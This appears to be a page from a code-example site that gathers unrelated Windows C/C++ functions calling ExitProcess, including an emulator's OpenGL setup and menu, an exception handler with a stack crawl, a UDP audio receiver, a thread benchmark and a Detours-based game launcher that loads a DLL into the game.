Exemplo n.º 1
0
void MergeHashManager::execute()
{
    {
        uint32 file_size = ((uint32)std::ceil(((float)this->merge_files.size()) / ((float)MAX_MERGE_THREADS)));
        uint32 offset = (this->end - this->start) / MAX_MERGE_THREADS;
        MergeHash merge[MAX_MERGE_THREADS];
        int prev_size = 0;

        for (int i = 0; i < MAX_MERGE_THREADS; ++i) {
            std::deque<std::string>tmp_files;
            for (int j = 0; j < file_size && this->merge_files.size() > 0; ++j) {
                tmp_files.emplace_back(this->merge_files.front());
                this->merge_files.pop_front();
            }
            (merge + i)->init(this->start + i*offset, this->start + (i + 1)*offset, tmp_files);
            (merge + i)->file_count = i * (prev_size);
            prev_size = tmp_files.size();
        }

        DWORD   dwThreadIdArray[MAX_MERGE_THREADS];
        HANDLE  hThreadArray[MAX_MERGE_THREADS];
        for (int i = 0; i < MAX_MERGE_THREADS; ++i) {
            hThreadArray[i] = CreateThread(
                NULL,                   // default security attributes
                0,                      // use default stack size  
                mergeExecute,         // thread function name
                (merge + i),  // argument to thread function 
                0,                      // use default creation flags 
                &dwThreadIdArray[i]);   // returns the thread identifier 

            if (DEBUG && hThreadArray[i] == NULL)
            {
                //ErrorHandler(TEXT("CreateThread"));
                ExitProcess(3);
            }
        }

        WaitForMultipleObjects(MAX_MERGE_THREADS, hThreadArray, TRUE, INFINITE);

        // Close all thread handles.
        for (int i = 0; i < MAX_MERGE_THREADS; ++i)
        {
            CloseHandle(hThreadArray[i]);
        }

        //At this stage we have just 4 files to merge.
        //Lets give two to each thread.
        //Lets construct two new mergeHash objects to take care of them
        for (int i = 0; i < MAX_MERGE_THREADS; ++i) {
            this->total_read += (merge + i)->total_read;
            this->total_write += (merge + i)->total_write;
            this->merge_files.push_back((merge + i)->merge_files[0]);
        }

    }
    MergeHash merge = MergeHash(this->start, this->end, this->merge_files);
    merge.file_count = 100;
    merge.execute();
    this->merge_files.clear();
    this->merge_files.push_back(merge.merge_files[0]);
    this->total_read += merge.total_read;
    this->total_write += merge.total_write;
}
Exemplo n.º 2
0
EXTERN_C int WINAPI Main()
{
	int result = wWinMain(nullptr, nullptr, nullptr, 0);
	ExitProcess(result);
	return 0;  // Never reached.
}
Exemplo n.º 3
0
void WINECON_Fatal(const char* msg)
{
    WINE_ERR("%s\n", msg);
    ExitProcess(0);
}
Exemplo n.º 4
0
bool GL_Init(HWND window, std::string *error_message) {
    *error_message = "ok";
    hWnd = window;
    GLuint PixelFormat;

    // TODO: Change to use WGL_ARB_pixel_format instead
    static const PIXELFORMATDESCRIPTOR pfd = {
        sizeof(PIXELFORMATDESCRIPTOR),							// Size Of This Pixel Format Descriptor
        1,														// Version Number
        PFD_DRAW_TO_WINDOW |									// Format Must Support Window
        PFD_SUPPORT_OPENGL |									// Format Must Support OpenGL
        PFD_DOUBLEBUFFER,										// Must Support Double Buffering
        PFD_TYPE_RGBA,											// Request An RGBA Format
        24,														// Select Our Color Depth
        0, 0, 0, 0, 0, 0,										// Color Bits Ignored
        8,														// No Alpha Buffer
        0,														// Shift Bit Ignored
        0,														// No Accumulation Buffer
        0, 0, 0, 0,										// Accumulation Bits Ignored
        16,														// At least a 16Bit Z-Buffer (Depth Buffer)
        8,														// 8-bit Stencil Buffer
        0,														// No Auxiliary Buffer
        PFD_MAIN_PLANE,								// Main Drawing Layer
        0,														// Reserved
        0, 0, 0												// Layer Masks Ignored
    };

    hDC = GetDC(hWnd);

    if (!hDC) {
        *error_message = "Failed to get a device context.";
        return false;											// Return FALSE
    }

    if (!(PixelFormat = ChoosePixelFormat(hDC, &pfd)))	{
        *error_message = "Can't find a suitable PixelFormat.";
        return false;
    }

    if (!SetPixelFormat(hDC, PixelFormat, &pfd)) {
        *error_message = "Can't set the PixelFormat.";
        return false;
    }

    if (!(hRC = wglCreateContext(hDC)))	{
        *error_message = "Can't create a GL rendering context.";
        return false;
    }

    if (!wglMakeCurrent(hDC, hRC)) {
        *error_message = "Can't activate the GL rendering context.";
        return false;
    }

    // Check for really old OpenGL drivers and refuse to run really early in some cases.

    // TODO: Also either tell the user to give up or point the user to the right websites. Here's some collected
    // information about a system that will not work:

    // GL_VERSION                        GL_VENDOR        GL_RENDERER
    // "1.4.0 - Build 8.14.10.2364"      "intel"          intel Pineview Platform
    I18NCategory *err = GetI18NCategory("Error");

    std::string glVersion = (const char *)glGetString(GL_VERSION);
    std::string glRenderer = (const char *)glGetString(GL_RENDERER);
    const std::string openGL_1 = "1.";

    if (glRenderer == "GDI Generic" || glVersion.substr(0, openGL_1.size()) == openGL_1) {
        //The error may come from 16-bit colour mode
        //Check Colour depth
        HDC dc = GetDC(NULL);
        u32 colour_depth = GetDeviceCaps(dc, BITSPIXEL);
        ReleaseDC(NULL, dc);
        if (colour_depth != 32) {
            MessageBox(0, L"Please switch your display to 32-bit colour mode", L"OpenGL Error", MB_OK);
            ExitProcess(1);
        }
        const char *defaultError = "Insufficient OpenGL driver support detected!\n\n"
                                   "Your GPU reports that it does not support OpenGL 2.0. Would you like to try using DirectX 9 instead?\n\n"
                                   "DirectX is currently compatible with less games, but on your GPU it may be the only choice.\n\n"
                                   "Visit the forums at http://forums.ppsspp.org for more information.\n\n";

        std::wstring versionDetected = ConvertUTF8ToWString(glVersion + "\n\n");
        std::wstring error = ConvertUTF8ToWString(err->T("InsufficientOpenGLDriver", defaultError));
        std::wstring title = ConvertUTF8ToWString(err->T("OpenGLDriverError", "OpenGL driver error"));
        std::wstring combined = versionDetected + error;

        bool yes = IDYES == MessageBox(hWnd, combined.c_str(), title.c_str(), MB_ICONERROR | MB_YESNO);

        if (yes) {
            // Change the config to D3D and restart.
            g_Config.iGPUBackend = GPU_BACKEND_DIRECT3D9;
            g_Config.Save();

            W32Util::ExitAndRestart();
        }

        // Avoid further error messages. Let's just bail, it's safe, and we can't continue.
        ExitProcess(1);
    }

    if (GLEW_OK != glewInit()) {
        *error_message = "Failed to initialize GLEW.";
        return false;
    }

    CheckGLExtensions();

    int contextFlags = g_Config.bGfxDebugOutput ? WGL_CONTEXT_DEBUG_BIT_ARB : 0;

    // Alright, now for the modernity. First try a 4.4, then 4.3, context, if that fails try 3.3.
    // I can't seem to find a way that lets you simply request the newest version available.
    const int attribs44[] = {
        WGL_CONTEXT_MAJOR_VERSION_ARB, 4,
        WGL_CONTEXT_MINOR_VERSION_ARB, 4,
        WGL_CONTEXT_FLAGS_ARB, contextFlags,
        WGL_CONTEXT_PROFILE_MASK_ARB, WGL_CONTEXT_COMPATIBILITY_PROFILE_BIT_ARB,
        0
    };
    const int attribs43[] = {
        WGL_CONTEXT_MAJOR_VERSION_ARB, 4,
        WGL_CONTEXT_MINOR_VERSION_ARB, 3,
        WGL_CONTEXT_FLAGS_ARB, contextFlags,
        WGL_CONTEXT_PROFILE_MASK_ARB, WGL_CONTEXT_COMPATIBILITY_PROFILE_BIT_ARB,
        0
    };
    const int attribs33[] = {
        WGL_CONTEXT_MAJOR_VERSION_ARB, 3,
        WGL_CONTEXT_MINOR_VERSION_ARB, 3,
        WGL_CONTEXT_FLAGS_ARB, contextFlags,
        WGL_CONTEXT_PROFILE_MASK_ARB, WGL_CONTEXT_COMPATIBILITY_PROFILE_BIT_ARB,
        0
    };

    HGLRC	m_hrc;
    if(wglewIsSupported("WGL_ARB_create_context") == 1) {
        m_hrc = wglCreateContextAttribsARB(hDC, 0, attribs44);
        if (!m_hrc)
            m_hrc = wglCreateContextAttribsARB(hDC, 0, attribs43);
        if (!m_hrc)
            m_hrc = wglCreateContextAttribsARB(hDC, 0, attribs33);
        if (!m_hrc) {
            // Fall back
            m_hrc = hRC;
        } else {
            // Switch to the new ARB context.
            wglMakeCurrent(NULL, NULL);
            wglDeleteContext(hRC);
            wglMakeCurrent(hDC, m_hrc);
        }
    } else {
        // We can't make a GL 3.x context. Use an old style context (GL 2.1 and before)
        m_hrc = hRC;
    }

    if (GLEW_OK != glewInit()) {
        *error_message = "Failed to re-initialize GLEW.";
        return false;
    }

    if (!m_hrc) {
        *error_message = "No m_hrc";
        return false;
    }

    hRC = m_hrc;

    GL_SwapInterval(0);

    // TODO: Also support GL_KHR_debug which might be more widely supported?
    if (g_Config.bGfxDebugOutput && glewIsSupported("GL_ARB_debug_output")) {
        glGetError();
        glDebugMessageCallbackARB((GLDEBUGPROCARB)&DebugCallbackARB, 0); // print debug output to stderr
        if (glGetError()) {
            ERROR_LOG(G3D, "Failed to register a debug log callback");
        }
        glEnable(GL_DEBUG_OUTPUT_SYNCHRONOUS_ARB);
        if (glGetError()) {
            ERROR_LOG(G3D, "Failed to enable synchronous debug output");
        }

        // For extra verbosity uncomment this (MEDIUM and HIGH are on by default):
        // glDebugMessageControlARB(GL_DONT_CARE, GL_DONT_CARE, GL_DEBUG_SEVERITY_LOW_ARB, 0, nullptr, GL_TRUE);
    }

    pauseRequested = false;
    resumeRequested = false;

    // These are auto-reset events.
    pauseEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
    resumeEvent = CreateEvent(NULL, FALSE, FALSE, NULL);

    return true;												// Success
}
Exemplo n.º 5
0
/*-----------------------------------------------------------------------------
--	FUNCTION:		receiveStream
--
--	DATE:			2009-04-06
--
--	REVISIONS:		2009-04-06 - Jaymz, Took out the TCP connection stuff since
--								 we already have that at this point. Also added
--								 a parameter WPARAM sd, which is the socket
--								 from which we are receiving the data.
--							   - Jaymz, Miscellaneous code touch-ups (mainly
--								 formatting and removing of test printf()'s)
--
--	DESIGNER(S):	David Overton
--	PROGRAMMER(S):	David Overton, Jaymz Boilard, Steffen L. Norgren
--
--	INTERFACE:		receiveStream(LPVOID iValue)
--
--	RETURNS:		void
--
--	NOTES: The main function to receive a UDP stream of data and process
--	that information.
-----------------------------------------------------------------------------*/
DWORD WINAPI receiveStream(LPVOID iValue)
{
	WAVEFORMATEX	wfx;
	char			buffer[BLOCK_SIZE]; /* intermediate buffer for reading */
	int				i, n, remote_len;
	DWORD			outBytes = 0;
	char			* play_byte = "1";
	BOOL			firstRun = TRUE;

	remote_len = sizeof(udp_remote);

	/* initialise the module variables */
	waveBlocks			= allocateBlocks(BLOCK_SIZE, BLOCK_COUNT);
	waveFreeBlockCount	= BLOCK_COUNT;
	waveCurrentBlock	= 0;
	InitializeCriticalSection(&waveCriticalSection);
	
	/* playback loop - read from socket */
	while (TRUE) 
	{
		if (ci.request != MULTI_STREAM) {
			/* send play signal */
			sendto(ci.udpSocket, play_byte, sizeof(play_byte), 0, (struct sockaddr *)&udp_remote, remote_len);
		}

		if ((n = recvfrom(ci.udpSocket, buffer, sizeof(buffer), 0, (struct sockaddr *)&udp_remote, &remote_len)) <= 0)
		{
			waveOutClose(hWaveOut);
			ExitThread(0);
		}

		/* first 4 bytes in a file, so set the header information */
		if(strncmp(buffer, "RIFF", 4) == 0)
		{
			memcpy(&wfx, buffer+20, sizeof(wfx));

			if (ci.request != MULTI_STREAM || firstRun == TRUE) {
				waveOutClose(hWaveOut);
			
				if(waveOutOpen(&hWaveOut, WAVE_MAPPER, &wfx, (DWORD_PTR)waveOutProc,
					(DWORD_PTR)&waveFreeBlockCount, CALLBACK_FUNCTION) != MMSYSERR_NOERROR)
				{
						MessageBox(NULL, "Unable to open mapper device.", "Error", MB_OK);
						ExitProcess(1);
				}
				firstRun = FALSE;
			}
		}

		if(n == 0)
			break;
		else if(n < sizeof(buffer) && n != WAVE_HEAD_SIZE)
		{
			memset(buffer + n, 0, sizeof(buffer) - n);
			writeAudio(buffer, n);
			break;
		}

		writeAudio(buffer, n);
	}

	/* wait for all blocks to complete */
	while(waveFreeBlockCount < BLOCK_COUNT)
		Sleep(10);

	/* unprepare any blocks that are still prepared */
	for(i = 0; i < waveFreeBlockCount; i++)
	{
		if(waveBlocks[i].dwFlags & WHDR_PREPARED)
			waveOutUnprepareHeader(hWaveOut, &waveBlocks[i], sizeof(WAVEHDR));
	}
	DeleteCriticalSection(&waveCriticalSection);
	freeBlocks(waveBlocks);
	waveOutClose(hWaveOut);
	streamInProgress = FALSE;
	ExitThread(0);
}
Exemplo n.º 6
0
BOOL APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
	PCHAR pszDllPath = "Accelerator.dll";

	CHAR szDllPath[1024];
    PCHAR pszFilePart = NULL;

	if (!GetFullPathName(pszDllPath, ARRAYSIZE(szDllPath), szDllPath, &pszFilePart)) 
	{
        MessageBoxA(NULL, "GetFullPathName Failed\n", "Error", MB_OK);
        return false;
    }

	HMODULE hDll = LoadLibraryEx(pszDllPath, NULL, DONT_RESOLVE_DLL_REFERENCES);
    if (hDll == NULL) 
	{
		MessageBoxA(NULL, "Failed to load dll\n", "Error", MB_OK);
        return false;
    }

	ExportContext ec;
    ec.fHasOrdinal1 = FALSE;
    ec.nExports = 0;
    DetourEnumerateExports(hDll, &ec, ExportCallback);
    FreeLibrary(hDll);

	if (!ec.fHasOrdinal1) 
	{
		MessageBoxA(NULL, "This dll does not export ordinal #1.\n", "Error", MB_OK);
        return false;
    }
	//////////////////////////////////////////////////////////////////////////////////
	STARTUPINFO si;
    PROCESS_INFORMATION pi;
    CHAR szCommand[2048];
    CHAR szExe[1024];
    CHAR szFullExe[1024] = "\0";
    PCHAR pszFileExe = NULL;

    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));
    si.cb = sizeof(si);

    szCommand[0] = L'\0';
	strcpy(szExe, "LOVESICK_PUPPIES.exe");
	strcpy(szCommand, "LOVESICK_PUPPIES.exe");
	//////////////////////////////////////////////////////////////////////////////////
	DWORD dwFlags = CREATE_DEFAULT_ERROR_MODE | CREATE_SUSPENDED;

    SetLastError(0);
    SearchPath(NULL, szExe, ".exe", ARRAYSIZE(szFullExe), szFullExe, &pszFileExe);
    if (!DetourCreateProcessWithDllEx(szFullExe[0] ? szFullExe : NULL, szCommand,
                                      NULL, NULL, TRUE, dwFlags, NULL, NULL,
                                      &si, &pi, szDllPath, NULL)) 
	{
        DWORD dwError = GetLastError();
		MessageBoxA(NULL, "DetourCreateProcessWithDllEx failed\n", "Error", MB_OK);
        
        if (dwError == ERROR_INVALID_HANDLE)
		{
#if DETOURS_64BIT
			MessageBoxA(NULL, " Can't detour a 32-bit target process from a 64-bit parent process.\n", "Error", MB_OK);
            
#else
			MessageBoxA(NULL, " Can't detour a 64-bit target process from a 32-bit parent process.\n", "Error", MB_OK);
#endif
        }
        ExitProcess(9009);
    }

    ResumeThread(pi.hThread);

    WaitForSingleObject(pi.hProcess, INFINITE);

    DWORD dwResult = 0;
    if (!GetExitCodeProcess(pi.hProcess, &dwResult)) 
	{
		MessageBoxA(NULL, "GetExitCodeProcess failed\n", "Error", MB_OK);
        return false;
    }

    return true;
}
Exemplo n.º 7
0
void MenuScreen::render() {
	UIShader_Prepare();
	UIBegin(UIShader_Get());
	DrawBackground(1.0f);

	double xoff = 150 - frames_ * frames_ * 0.4f;
	if (xoff < -20)
		xoff = -20;
	if (frames_ > 200)  // seems the above goes nuts after a while...
		xoff = -20;

	int w = LARGE_BUTTON_WIDTH + 60;

	ui_draw2d.DrawTextShadow(UBUNTU48, "PPSSPP", dp_xres + xoff - w/2, 75, 0xFFFFFFFF, ALIGN_HCENTER | ALIGN_BOTTOM);
	ui_draw2d.SetFontScale(0.7f, 0.7f);
	ui_draw2d.DrawTextShadow(UBUNTU24, PPSSPP_GIT_VERSION, dp_xres + xoff, 85, 0xFFFFFFFF, ALIGN_RIGHT | ALIGN_BOTTOM);
	ui_draw2d.SetFontScale(1.0f, 1.0f);
	VLinear vlinear(dp_xres + xoff, 100, 20);

	I18NCategory *m = GetI18NCategory("MainMenu");

	if (UIButton(GEN_ID, vlinear, w, 0, m->T("Load", "Load..."), ALIGN_RIGHT)) {
#if defined(USING_QT_UI) && !defined(MEEGO_EDITION_HARMATTAN)
		QString fileName = QFileDialog::getOpenFileName(NULL, "Load ROM", g_Config.currentDirectory.c_str(), "PSP ROMs (*.iso *.cso *.pbp *.elf)");
		if (QFile::exists(fileName)) {
			QDir newPath;
			g_Config.currentDirectory = newPath.filePath(fileName).toStdString();
			g_Config.Save();
			screenManager()->switchScreen(new EmuScreen(fileName.toStdString()));
		}
#elif _WIN32
		MainWindow::BrowseAndBoot("");
#else
		FileSelectScreenOptions options;
		options.allowChooseDirectory = true;
		options.filter = "iso:cso:pbp:elf:prx:";
		options.folderIcon = I_ICON_FOLDER;
		options.iconMapping["iso"] = I_ICON_UMD;
		options.iconMapping["cso"] = I_ICON_UMD;
		options.iconMapping["pbp"] = I_ICON_EXE;
		options.iconMapping["elf"] = I_ICON_EXE;
		screenManager()->switchScreen(new FileSelectScreen(options));
#endif
		UIReset();
	}

	if (UIButton(GEN_ID, vlinear, w, 0, m->T("Settings"), ALIGN_RIGHT)) {
		screenManager()->push(new SettingsScreen(), 0);
		UIReset();
	}

	if (UIButton(GEN_ID, vlinear, w, 0, m->T("Credits"), ALIGN_RIGHT)) {
		screenManager()->switchScreen(new CreditsScreen());
		UIReset();
	}

	if (UIButton(GEN_ID, vlinear, w, 0, m->T("Exit"), ALIGN_RIGHT)) {
		// TODO: Save when setting changes, rather than when we quit
		NativeShutdown();
		// TODO: Need a more elegant way to quit
#ifdef _WIN32
		ExitProcess(0);
#else
		exit(0);
#endif
	}

	if (UIButton(GEN_ID, vlinear, w, 0, "www.ppsspp.org", ALIGN_RIGHT)) {
		LaunchBrowser("http://www.ppsspp.org/");
	}

	int recentW = 350;
	if (g_Config.recentIsos.size()) {
		ui_draw2d.DrawText(UBUNTU24, m->T("Recent"), -xoff, 80, 0xFFFFFFFF, ALIGN_BOTTOMLEFT);
	}

	int spacing = 15;

	float textureButtonWidth = 144;
	float textureButtonHeight = 80;

	if (dp_yres < 480)
		spacing = 8;
	// On small screens, we can't fit four vertically.
	if (100 + spacing * 6 + textureButtonHeight * 4 > dp_yres) {
		textureButtonHeight = (dp_yres - 100 - spacing * 6) / 4;
		textureButtonWidth = (textureButtonHeight / 80) * 144;
	}

	VGrid vgrid_recent(-xoff, 100, std::min(dp_yres-spacing*2, 480), spacing, spacing);

	for (size_t i = 0; i < g_Config.recentIsos.size(); i++) {
		std::string filename;
		std::string rec = g_Config.recentIsos[i];
		for (size_t j = 0; j < rec.size(); j++)
			if (rec[j] == '\\') rec[j] = '/';
		SplitPath(rec, nullptr, &filename, nullptr);

		UIContext *ctx = screenManager()->getUIContext();
		// This might create a texture so we must flush first.
		UIFlush();
		GameInfo *ginfo = g_gameInfoCache.GetInfo(g_Config.recentIsos[i], false);
		if (ginfo && ginfo->fileType != FILETYPE_PSP_ELF) {
			u32 color;
			if (ginfo->iconTexture == 0) {
				color = 0;
			} else {
				color = whiteAlpha(ease((time_now_d() - ginfo->timeIconWasLoaded) * 2));
			}
			if (UITextureButton(ctx, (int)GEN_ID_LOOP(i), vgrid_recent, textureButtonWidth, textureButtonHeight, ginfo->iconTexture, ALIGN_LEFT, color, I_DROP_SHADOW)) {
				UIEnd();
				screenManager()->switchScreen(new EmuScreen(g_Config.recentIsos[i]));
				return;
			}
		} else {
			if (UIButton((int)GEN_ID_LOOP(i), vgrid_recent, textureButtonWidth, textureButtonHeight, filename.c_str(), ALIGN_LEFT)) {
				UIEnd();
				screenManager()->switchScreen(new EmuScreen(g_Config.recentIsos[i]));
				return;
			}
		}
	}

#if defined(_DEBUG) & defined(_WIN32)
	// Print the current dp_xres/yres in the corner. For UI scaling testing - just
	// resize to 800x480 to get an idea of what it will look like on a Nexus S.
	ui_draw2d.SetFontScale(0.4, 0.4);
	char temptext[64];
	sprintf(temptext, "%ix%i", dp_xres, dp_yres);
	ui_draw2d.DrawTextShadow(UBUNTU24, temptext, 5, dp_yres-5, 0xFFFFFFFF, ALIGN_BOTTOMLEFT);
	ui_draw2d.SetFontScale(1.0, 1.0);
#endif

	DrawWatermark();

	UIEnd();
}
Exemplo n.º 8
0
static LONG CALLBACK exception_filter(struct _EXCEPTION_POINTERS *info)
{
	static const struct
	{
		DWORD code;
		const char *string;
	} exception_table[] =
	{
		{ EXCEPTION_ACCESS_VIOLATION,		"ACCESS VIOLATION" },
		{ EXCEPTION_DATATYPE_MISALIGNMENT,	"DATATYPE MISALIGNMENT" },
		{ EXCEPTION_BREAKPOINT, 			"BREAKPOINT" },
		{ EXCEPTION_SINGLE_STEP,			"SINGLE STEP" },
		{ EXCEPTION_ARRAY_BOUNDS_EXCEEDED,	"ARRAY BOUNDS EXCEEDED" },
		{ EXCEPTION_FLT_DENORMAL_OPERAND,	"FLOAT DENORMAL OPERAND" },
		{ EXCEPTION_FLT_DIVIDE_BY_ZERO,		"FLOAT DIVIDE BY ZERO" },
		{ EXCEPTION_FLT_INEXACT_RESULT,		"FLOAT INEXACT RESULT" },
		{ EXCEPTION_FLT_INVALID_OPERATION,	"FLOAT INVALID OPERATION" },
		{ EXCEPTION_FLT_OVERFLOW,			"FLOAT OVERFLOW" },
		{ EXCEPTION_FLT_STACK_CHECK,		"FLOAT STACK CHECK" },
		{ EXCEPTION_FLT_UNDERFLOW,			"FLOAT UNDERFLOW" },
		{ EXCEPTION_INT_DIVIDE_BY_ZERO,		"INTEGER DIVIDE BY ZERO" },
		{ EXCEPTION_INT_OVERFLOW, 			"INTEGER OVERFLOW" },
		{ EXCEPTION_PRIV_INSTRUCTION, 		"PRIVILEGED INSTRUCTION" },
		{ EXCEPTION_IN_PAGE_ERROR, 			"IN PAGE ERROR" },
		{ EXCEPTION_ILLEGAL_INSTRUCTION, 	"ILLEGAL INSTRUCTION" },
		{ EXCEPTION_NONCONTINUABLE_EXCEPTION,"NONCONTINUABLE EXCEPTION" },
		{ EXCEPTION_STACK_OVERFLOW, 		"STACK OVERFLOW" },
		{ EXCEPTION_INVALID_DISPOSITION, 	"INVALID DISPOSITION" },
		{ EXCEPTION_GUARD_PAGE, 			"GUARD PAGE VIOLATION" },
		{ EXCEPTION_INVALID_HANDLE, 		"INVALID HANDLE" },
		{ 0,								"UNKNOWN EXCEPTION" }
	};
	static int already_hit = 0;
#ifndef PTR64
	UINT32 code_start, code_size;
#endif
	int i;

	// if we're hitting this recursively, just exit
	if (already_hit)
		ExitProcess(100);
	already_hit = 1;

	// find our man
	for (i = 0; exception_table[i].code != 0; i++)
		if (info->ExceptionRecord->ExceptionCode == exception_table[i].code)
			break;

	// print the exception type and address
	fprintf(stderr, "\n-----------------------------------------------------\n");
	fprintf(stderr, "Exception at EIP=%08X%s: %s\n", (UINT32)info->ExceptionRecord->ExceptionAddress,
			lookup_symbol((UINT32)info->ExceptionRecord->ExceptionAddress), exception_table[i].string);

	// for access violations, print more info
	if (info->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION)
		fprintf(stderr, "While attempting to %s memory at %08X\n",
				info->ExceptionRecord->ExceptionInformation[0] ? "write" : "read",
				(UINT32)info->ExceptionRecord->ExceptionInformation[1]);

	// print the state of the CPU
	fprintf(stderr, "-----------------------------------------------------\n");
#ifdef PTR64
	fprintf(stderr, "RAX=%p RBX=%p RCX=%p RDX=%p\n",
			(void *)info->ContextRecord->Rax,
			(void *)info->ContextRecord->Rbx,
			(void *)info->ContextRecord->Rcx,
			(void *)info->ContextRecord->Rdx);
	fprintf(stderr, "RSI=%p RDI=%p RBP=%p RSP=%p\n",
			(void *)info->ContextRecord->Rsi,
			(void *)info->ContextRecord->Rdi,
			(void *)info->ContextRecord->Rbp,
			(void *)info->ContextRecord->Rsp);
	fprintf(stderr, " R8=%p  R9=%p R10=%p R11=%p\n",
			(void *)info->ContextRecord->R8,
			(void *)info->ContextRecord->R9,
			(void *)info->ContextRecord->R10,
			(void *)info->ContextRecord->R11);
	fprintf(stderr, "R12=%p R13=%p R14=%p R15=%p\n",
			(void *)info->ContextRecord->R12,
			(void *)info->ContextRecord->R13,
			(void *)info->ContextRecord->R14,
			(void *)info->ContextRecord->R15);
#else
	fprintf(stderr, "EAX=%p EBX=%p ECX=%p EDX=%p\n",
			(void *)info->ContextRecord->Eax,
			(void *)info->ContextRecord->Ebx,
			(void *)info->ContextRecord->Ecx,
			(void *)info->ContextRecord->Edx);
	fprintf(stderr, "ESI=%p EDI=%p EBP=%p ESP=%p\n",
			(void *)info->ContextRecord->Esi,
			(void *)info->ContextRecord->Edi,
			(void *)info->ContextRecord->Ebp,
			(void *)info->ContextRecord->Esp);
#endif

#ifndef PTR64
	// crawl the stack for a while
	if (get_code_base_size(&code_start, &code_size))
	{
		char prev_symbol[1024], curr_symbol[1024];
		UINT32 last_call = (UINT32)info->ExceptionRecord->ExceptionAddress;
		UINT32 esp_start = info->ContextRecord->Esp;
		UINT32 esp_end = (esp_start | 0xffff) + 1;
		UINT32 esp;

		// reprint the actual exception address
		fprintf(stderr, "-----------------------------------------------------\n");
		fprintf(stderr, "Stack crawl:\n");
		fprintf(stderr, "exception-> %08X%s\n", last_call, strcpy(prev_symbol, lookup_symbol(last_call)));

		// crawl the stack until we hit the next 64k boundary
		for (esp = esp_start; esp < esp_end; esp += 4)
		{
			UINT32 stack_val = *(UINT32 *)esp;

			// if the value on the stack points within the code block, check it out
			if (stack_val >= code_start && stack_val < code_start + code_size)
			{
				UINT8 *return_addr = (UINT8 *)stack_val;
				UINT32 call_target = 0;

				// make sure the code that we think got us here is actually a CALL instruction
				if (return_addr[-5] == 0xe8)
					call_target = stack_val - 5 + *(INT32 *)&return_addr[-4];
				if ((return_addr[-2] == 0xff && (return_addr[-1] & 0x38) == 0x10) ||
					(return_addr[-3] == 0xff && (return_addr[-2] & 0x38) == 0x10) ||
					(return_addr[-4] == 0xff && (return_addr[-3] & 0x38) == 0x10) ||
					(return_addr[-5] == 0xff && (return_addr[-4] & 0x38) == 0x10) ||
					(return_addr[-6] == 0xff && (return_addr[-5] & 0x38) == 0x10) ||
					(return_addr[-7] == 0xff && (return_addr[-6] & 0x38) == 0x10))
					call_target = 1;

				// make sure it points somewhere a little before the last call
				if (call_target == 1 || (call_target < last_call && call_target >= last_call - 0x1000))
				{
					char *stop_compare = strchr(prev_symbol, '+');

					// don't print duplicate hits in the same routine
					strcpy(curr_symbol, lookup_symbol(stack_val));
					if (stop_compare == NULL || strncmp(curr_symbol, prev_symbol, stop_compare - prev_symbol))
					{
						strcpy(prev_symbol, curr_symbol);
						fprintf(stderr, "  %08X: %08X%s\n", esp, stack_val, curr_symbol);
						last_call = stack_val;
					}
				}
			}
		}
	}
#endif

	cli_frontend_exit();

	// exit
	ExitProcess(100);
}
Exemplo n.º 9
0
int main(int argc, char **argv)
{
	struct cmdline_args args = {0};
	int ret = 0;

	setvbuf(stderr, NULL, _IOFBF, 0);
	setvbuf(stdout, NULL, _IOFBF, 0);

	opdb_reset();
	ctrlc_init();

	args.devarg.vcc_mv = 3000;
	args.devarg.requested_serial = NULL;
	if (parse_cmdline_args(argc, argv, &args) < 0)
		goto fail_parse;

	if (args.flags & OPT_EMBEDDED)
		input_module = &input_async;
	if (input_module->init() < 0)
		goto fail_input;

	output_set_embedded(args.flags & OPT_EMBEDDED);

	if (sockets_init() < 0) {
		ret = -1;
		goto fail_sockets;
	}

	printc_dbg("%s\n", version_text);
	if (setup_driver(&args) < 0) {
		ret = -1;
		goto fail_driver;
	}

	if (device_probe_id(device_default) < 0)
		printc_err("warning: device ID probe failed\n");

	simio_init();

	if (!(args.flags & OPT_NO_RC))
		process_rc_file(args.alt_config);

	/* Process commands */
	if (optind < argc) {
		while (optind < argc) {
			if (process_command(argv[optind++]) < 0) {
				ret = -1;
				break;
			}
		}
	} else {
		reader_loop();
	}

	simio_exit();
	device_destroy();
	stab_exit();
fail_driver:
	sockets_exit();
fail_sockets:
	input_module->exit();
fail_input:
fail_parse:

	/* We need to do this on Windows, because in embedded mode we
	 * may still have a running background thread for input. If so,
	 * returning from main() won't cause the process to terminate.
	 */
#if defined(__Windows__) || defined(__CYGWIN__)
	ExitProcess(ret);
#endif
	return ret;
}
Exemplo n.º 10
0
DWORD
WorkerThread(
    PVOID ThreadIndex
    )
{

    DWORD Me;
    PDWORD MyCellVectorBase;
    PDWORD CurrentCellVector;
    DWORD MyRecalcValue;
    DWORD MyNumberOfCells;
    DWORD i;
    BOOL MemoryContention;

    Me = (DWORD)ThreadIndex;
    MyRecalcValue = 0;
    MyCellVectorBase = ThreadWork[Me].CellVector;
    MyNumberOfCells = ThreadWork[Me].NumberOfCells;
    MemoryContention = fMemoryContention;

    //
    // Signal that I am ready to go
    //

    if ( !SetEvent(ThreadReadyDoneEvents[Me]) ) {
        fprintf(stderr,"MTBNCH: (1) SetEvent(ThreadReadyDoneEvent[%d]) Failed %d\n",Me,GetLastError());
        ExitProcess(1);
        }

    //
    // Wait for the master to release us to do the recalc
    //

    i = WaitForSingleObject(hStartOfRace,INFINITE);
    if ( i == WAIT_FAILED ) {
        fprintf(stderr,"MTBNCH: Thread %d Wait for start of recalc Failed %d\n",Me,GetLastError());
        ExitProcess(1);
        }

    //
    // perform the recalc operation
    //

    for (i=0, CurrentCellVector = MyCellVectorBase; i<MyNumberOfCells; i++ ) {
        MyRecalcValue += *CurrentCellVector++;
        if ( MemoryContention ) {
            InterlockedIncrement(&ContentionValue);
            }
        }
    ThreadWork[Me].RecalcResult = MyRecalcValue;

    //
    // Signal that I am done and then wait for further instructions
    //

    if ( !SetEvent(ThreadReadyDoneEvents[Me]) ) {
        fprintf(stderr,"MTBNCH: (2) SetEvent(ThreadReadyDoneEvent[%d]) Failed %d\n",Me,GetLastError());
        ExitProcess(1);
        }

    i = WaitForSingleObject(hEndOfRace,INFINITE);
    if ( i == WAIT_FAILED ) {
        fprintf(stderr,"MTBNCH: Thread %d Wait for end of recalc Failed %d\n",Me,GetLastError());
        ExitProcess(1);
        }

    return MyRecalcValue;
}
Exemplo n.º 11
0
